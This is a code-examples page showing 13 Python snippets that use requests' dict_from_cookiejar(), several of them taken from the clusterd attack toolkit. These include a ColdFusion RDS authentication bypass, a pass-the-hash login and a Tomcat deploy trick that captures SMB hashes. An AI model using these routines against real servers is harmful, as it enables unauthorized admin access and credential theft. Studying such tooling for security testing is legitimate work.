Python requests.utils.dict_from_cookiejar() Examples

The following are 13 code examples of requests.utils.dict_from_cookiejar(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module requests.utils , or try the search function .
Example #1
Source File: target.py    From webtech with GNU Lesser General Public License v3.0 6 votes vote down vote up
def scrape_url(self, url, headers={}, cookies={}, timeout=10):
        """
        Scrape the target URL and collects all the data that will be filtered afterwards
        """
        if BURP:
            # Burp flag is set when requests is not installed.
            # When using Burp we shouldn't end up in this function so we are in a Python CLI env without requests
            raise ImportError("Missing Requests module")
        # By default we don't verify SSL certificates, we are only performing some useless GETs
        try:
            response = get(url, headers=headers, cookies=cookies, verify=False, allow_redirects=True, timeout=timeout)
        except RequestException as e:
            raise ConnectionException(e)
        # print("status: {}".format(response.status_code))

        # TODO: switch-case for various response.status_code

        self.data['url'] = url
        self.data['html'] = response.text
        self.data['headers'] = dict_from_caseinsensitivedict(response.headers)
        self.data['cookies'] = dict_from_cookiejar(response.cookies)
        self.parse_html_page() 
Example #2
Source File: target.py    From webtech with GNU General Public License v3.0 6 votes vote down vote up
def scrape_url(self, url, headers={}, cookies={}, timeout=10):
        """
        Scrape the target URL and collects all the data that will be filtered afterwards
        """
        if BURP:
            # Burp flag is set when requests is not installed.
            # When using Burp we shouldn't end up in this function so we are in a Python CLI env without requests
            raise ImportError("Missing Requests module")
        # By default we don't verify SSL certificates, we are only performing some useless GETs
        try:
            response = get(url, headers=headers, cookies=cookies, verify=False, allow_redirects=True, timeout=timeout)
        except RequestException as e:
            raise ConnectionException(e)
        # print("status: {}".format(response.status_code))

        # TODO: switch-case for various response.status_code

        self.data['url'] = url
        self.data['html'] = response.text
        self.data['headers'] = dict_from_caseinsensitivedict(response.headers)
        self.data['cookies'] = dict_from_cookiejar(response.cookies)
        self.parse_html_page() 
Example #3
Source File: request.py    From tavern with MIT License 6 votes vote down vote up
def _set_cookies_for_request(session, request_args):
    """
    Possibly reset session cookies for a single request then set them back.
    If no cookies were present in the request arguments, do nothing.

    This does not use try/finally because if it fails then we don't care about
    the cookies anyway

    Args:
        session (requests.Session): Current session
        request_args (dict): current request arguments
    """
    if "cookies" in request_args:
        old_cookies = dict_from_cookiejar(session.cookies)
        session.cookies = cookiejar_from_dict({})
        yield
        session.cookies = cookiejar_from_dict(old_cookies)
    else:
        yield 
Example #4
Source File: authenticate.py    From clusterd with MIT License 6 votes vote down vote up
def attemptRDS(ip, port):
    """ If version 9.x is found, we attempt to bypass authentication using
    the RDS vulnerability (CVS-2013-0632)            
    """

    utility.Msg("Attempting RDS bypass...", LOG.DEBUG)           
    url = "http://{0}:{1}".format(ip, port)
    uri = "/CFIDE/adminapi/administrator.cfc?method=login"
    data = {
             "adminpassword" : '',
             "rdsPasswordAllowed" : 1
           }

    response = utility.requests_post(url + uri, data)
    if response.status_code is 200 and "true" in response.content:
        return (dict_from_cookiejar(response.cookies), None)
    else:
        # try it with rdsPasswordAllowed = 0
        data['rdsPasswordAllowed'] = 0
        response = utility.requests_post(url + uri, data)
        if response.status_code is 200 and "true" in response.content:
            return (dict_from_cookiejar(response.cookies), None) 
Example #5
Source File: authenticate.py    From clusterd with MIT License 6 votes vote down vote up
def _auth(pswd, url, title):
    """ Support auth for both the web and server interfaces
    """            

    data = OrderedDict([ 
                ("lang", "en"),
                ("rememberMe", "yyyy"),
                ("submit", "submit")
            ])
    
    if title is RINTERFACES.WEB:            
        data["login_passwordweb"] =  pswd
    elif title is RINTERFACES.SRV:
        data['login_passwordserver'] = pswd

    response = utility.requests_post(url, data=data)
    if response.status_code is 200 and "login.login_password" not in response.content:
        utility.Msg("Successfully authenticated with '%s'" % pswd, LOG.DEBUG)
        return dict_from_cookiejar(response.cookies) 
Example #6
Source File: test_cookie_sign.py    From slim with zlib License 5 votes vote down vote up
def test_app_secure_cookies():
    cookies_view.set_secure_cookie('test', '内容测试')
    cookies_view.set_secure_cookie('test2', {'value': '内容测试'})
    cookies_view.finish(RETCODE.SUCCESS)

    cookies_jar = CookieJar()
    for k, v in cookies_view.response.cookies.items():
        cookies_jar.set_cookie(morsel_to_cookie(v))

    cookies_view._request.cookies = dict_from_cookiejar(cookies_jar)

    assert cookies_view.get_secure_cookie('test') == '内容测试'
    assert cookies_view.get_secure_cookie('test2') == {'value': '内容测试'} 
Example #7
Source File: middlewares.py    From PatentCrawler with Apache License 2.0 5 votes vote down vote up
def process_request(self, request, spider):
        if USE_PROXY and ctrl.PROXIES is not None:
            request.meta['proxy'] = "http://%s" % (ctrl.PROXIES.get('http'))
        if ctrl.COOKIES is not None:
            request.cookies = dict_from_cookiejar(ctrl.COOKIES) 
Example #8
Source File: authenticate.py    From clusterd with MIT License 5 votes vote down vote up
def attemptPTH(url, usr_auth):
    """ In vulnerable instances of CF7-9, you can use --cf-hash to obtain
    the remote server's hash and pass it.            
    """            
    
    utility.Msg("Attempting to pass the hash..", LOG.DEBUG)
    
    usr = None
    pwhsh = None
    if ':' in usr_auth:
        (usr, pwhsh) = usr_auth.split(':')
    else:
        (usr, pwhsh) = "admin", usr_auth

    salt = _salt(url) 
    hsh = hmac.new(salt, pwhsh, sha1).hexdigest().upper()
    data = {"cfadminPassword" : hsh,
            "requestedURL" : "/CFIDE/administrator/enter.cfm?",
            "cfadminUserId" : usr, 
            "salt" : salt,
            "submit" : "Login"
           }

    try:
        res = utility.requests_post(url, data=data)
        if res.status_code is 200 and len(res.history) > 0:
            utility.Msg("Sucessfully passed the hash", LOG.DEBUG)
            return (dict_from_cookiejar(res.history[0].cookies), None)
        
    except Exception, e:
        utility.Msg("Error authenticating: %s" % e, LOG.ERROR) 
Example #9
Source File: authenticate.py    From clusterd with MIT License 5 votes vote down vote up
def _auth(usr, pswd, ip, fingerprint):
    """ Authenticate to j_security_check and return the cookie
    """

    try:
        base = "http://{0}:{1}".format(ip, fingerprint.port)
        uri = "/console/j_security_check"

        data = { "j_username" : usr,
                 "j_password" : pswd,
                 "j_character_encoding" : "UTF-8"
               }

        if fingerprint.title is WINTERFACES.WLS:
            base = base.replace("http", "https")

        response = utility.requests_post(base + uri, data=data)
        if len(response.history) > 1:

                cookies = dict_from_cookiejar(response.history[0].cookies)
                if not cookies:
                    return False
                else:
                    utility.Msg("Successfully authenticated with %s:%s" % 
                                    (usr, pswd), LOG.DEBUG)
                    return (cookies, None)

    except Exception, e: 
        utility.Msg("Failed to authenticate: %s" % e) 
Example #10
Source File: authenticate.py    From clusterd with MIT License 5 votes vote down vote up
def _auth(usr, pswd, url, version):
    """ Currently only auths to the admin interface
    """

    data = { 
             "userName" : usr,
             "password" : pswd,
             "submit" : "+Login+"
           }

    response = utility.requests_post(url, data=data)
    if response.status_code is 200 and not "name=\"password\"" in response.content:
        utility.Msg("Successfully authenticated with %s:%s" % (usr, pswd), LOG.DEBUG)
        return dict_from_cookiejar(response.cookies) 
Example #11
Source File: authenticate.py    From clusterd with MIT License 5 votes vote down vote up
def _auth(usr, pswd, url, version):
    """
    """

    authobj = HTTPBasicAuth
    if version in ['7.0', '7.1', '8.0', '8.1']:
        authobj = HTTPDigestAuth

    res = utility.requests_get(url, auth=authobj(usr, pswd))

    if res.status_code is 200:
        utility.Msg("Successfully authenticated with %s:%s" % (usr, pswd), LOG.DEBUG)
        return (dict_from_cookiejar(res.cookies), authobj(usr, pswd)) 
Example #12
Source File: authenticate.py    From clusterd with MIT License 4 votes vote down vote up
def _auth(usr, pswd, url, version):
    """ Authenticate to the remote ColdFusion server; bit of a pain 
    """

    if version in ['5.0']:
        data = {'PasswordProvided_required':'You+must+provide+a+password.',
                'PasswordProvided' : pswd,
                'Submit' : 'Password'
        }

    elif version in ['6.0', '6.1']:
        data = {
            'cfadminPassword' : pswd,
            'requestedURL' : '/CFIDE/administrator/index.cfm',
            'submit' : 'Login'
        }

    elif version in ['7.0', '8.0', '9.0']:
        salt = _salt(url) 
        hsh = hmac.new(salt, sha1(pswd).hexdigest().upper(), sha1).hexdigest().upper()
        data = {"cfadminPassword" : hsh,
                "requestedURL" : "/CFIDE/administrator/enter.cfm?",
                "cfadminUserId" : usr,
                "salt" : salt,
                "submit" : "Login"
               }

    elif version in ['10.0', '11.0']:
        
        hsh = sha1(pswd).hexdigest().upper()
        data = {'cfadminPassword' : hsh,
                'requestedURL' : '/CFIDE/administrator/enter.cfm?',
                'cfadminUserId' : usr,
                'submit' : 'Login'
               }

    try:
        res = utility.requests_post(url, data=data)
        if res.status_code is 200:

            utility.Msg("Successfully authenticated with %s:%s" % (usr, pswd), LOG.DEBUG)
            if version in ['5.0']:
                return (dict_from_cookiejar(res.cookies), None)
            elif len(res.history) > 0:
                return (dict_from_cookiejar(res.history[0].cookies), None)

    except Exception, e:
        utility.Msg("Error authenticating: %s" % e, LOG.ERROR)
        return (None, None) 
Example #13
Source File: smb_hashes.py    From clusterd with MIT License 4 votes vote down vote up
def runLatter(self, fingerengine, fingerprint, smb_thread):
        """
        """

        base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port)
        uri = "/manager/html/deploy"
        data = OrderedDict([
                    ("deployPath", "/asdf"),
                    ("deployConfig", ""),
                    ("deployWar", "file://{0}/asdf.war".format(utility.local_address())),
                   ])

        cookies = None
        nonce = None

        # probe for auth
        response = utility.requests_get(base + '/manager/html')
        if response.status_code == 401:
            
            utility.Msg("Host %s:%s requires auth, checking.." % 
                            (fingerengine.options.ip, fingerprint.port), LOG.DEBUG)
            cookies = checkAuth(fingerengine.options.ip, fingerprint.port,
                            fingerprint.title, fingerprint.version)

            if cookies:
                response = utility.requests_get(base + '/manager/html', 
                                                cookies=cookies[0],
                                                auth=cookies[1])

                # get nonce
                nonce = findall("CSRF_NONCE=(.*?)\"", response.content)
                if len(nonce) > 0:
                    nonce = nonce[0]
               
                # set new jsessionid
                cookies = (dict_from_cookiejar(response.cookies), cookies[1])
            else:
                utility.Msg("Could not get auth for %s:%s" % 
                                (fingerengine.options.ip, fingerprint.port), LOG.DEBUG)
                return

        if response.status_code == 200:

            try:
                # all setup, now invoke
                response = utility.requests_post(base + uri + \
                                        '?org.apache.catalina.filters.CSRF_NONCE=%s' % nonce,
                                        data = data, cookies=cookies[0],
                                        auth=cookies[1])
            except:
                # timeout
                pass

            while smb_thread.is_alive():
                # spin...
                sleep(1)